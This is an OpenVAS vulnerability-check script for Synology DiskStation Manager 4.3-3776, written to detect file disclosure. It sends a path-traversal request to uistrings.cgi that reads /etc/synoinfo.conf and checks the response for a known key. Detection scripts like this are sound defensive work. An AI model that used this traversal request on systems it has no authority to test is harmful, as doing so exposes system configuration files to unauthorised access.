Synology DSM 4.3-3776 XSS / File Disclosure / Command Injection

2013-09-12T00:00:00
ID OPENVAS:1361412562310103787
Type openvas
Reporter This script is Copyright (C) 2013 Greenbone Networks GmbH
Modified 2017-07-18T00:00:00

Description

Synology DiskStation Manager is prone to multiple vulnerabilities.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_synology_dsm_mult_vulns_09_13.nasl 6755 2017-07-18 12:55:56Z cfischer $
#
# Synology DSM 4.3-3776 XSS / File Disclosure / Command Injection
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

SCRIPT_OID  = "1.3.6.1.4.1.25623.1.0.103787";
CPE = "cpe:/o:synology:dsm";

tag_insight = "Synology DSM versions 4.3-3776 and below suffer from remote file
download, content disclosure, cross site scripting, and command injection
vulnerabilities.";

tag_impact = "Please see the references for details about the impact.";
tag_affected = "Synology DSM versions 4.3-3776 and below.";
tag_summary = "Synology DiskStation Manager is prone to multiple vulnerabilities.";
tag_solution = "Vendor updates are available.";
tag_vuldetect = "Tries to read /etc/synoinfo.conf by sending a special crafted HTTP GET request.";

if (description)
{
 script_oid(SCRIPT_OID);
 script_version ("$Revision: 6755 $");
 script_tag(name:"cvss_base", value:"9.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");

 script_name("Synology DSM 4.3-3776 XSS / File Disclosure / Command Injection");


 script_xref(name:"URL", value:"http://packetstormsecurity.com/files/123182/Synology-DSM-4.3-3776-XSS-File-Disclosure-Command-Injection.html");
 script_xref(name:"URL", value:"http://www.synology.com/enu/index.php");
 
 script_tag(name:"last_modification", value:"$Date: 2017-07-18 14:55:56 +0200 (Tue, 18 Jul 2017) $");
 script_tag(name:"creation_date", value:"2013-09-12 11:33:59 +0200 (Thu, 12 Sep 2013)");
 script_category(ACT_ATTACK);
 script_tag(name:"qod_type", value:"remote_vul");
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2013 Greenbone Networks GmbH");
 script_dependencies("gb_synology_dsm_detect.nasl");
 script_require_ports("Services/www", 80, 5000, 5001);
 script_mandatory_keys("synology_dsm/installed");

 script_tag(name : "impact" , value : tag_impact);
 script_tag(name : "vuldetect" , value : tag_vuldetect);
 script_tag(name : "insight" , value : tag_insight);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 script_tag(name : "affected" , value : tag_affected);

 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("global_settings.inc");
   
if(!port = get_app_port(cpe:CPE, nvt:SCRIPT_OID))exit(0);

url = '/scripts/uistrings.cgi?lang=.' + crap(data:"/", length:88) + crap(data:"../", length:3*5) + 'etc/synoinfo.conf';

if(http_vuln_check(port:port, url:url,pattern:"secure_admin_port")) {
     
  security_message(port:port);
  exit(0);

}

exit(0);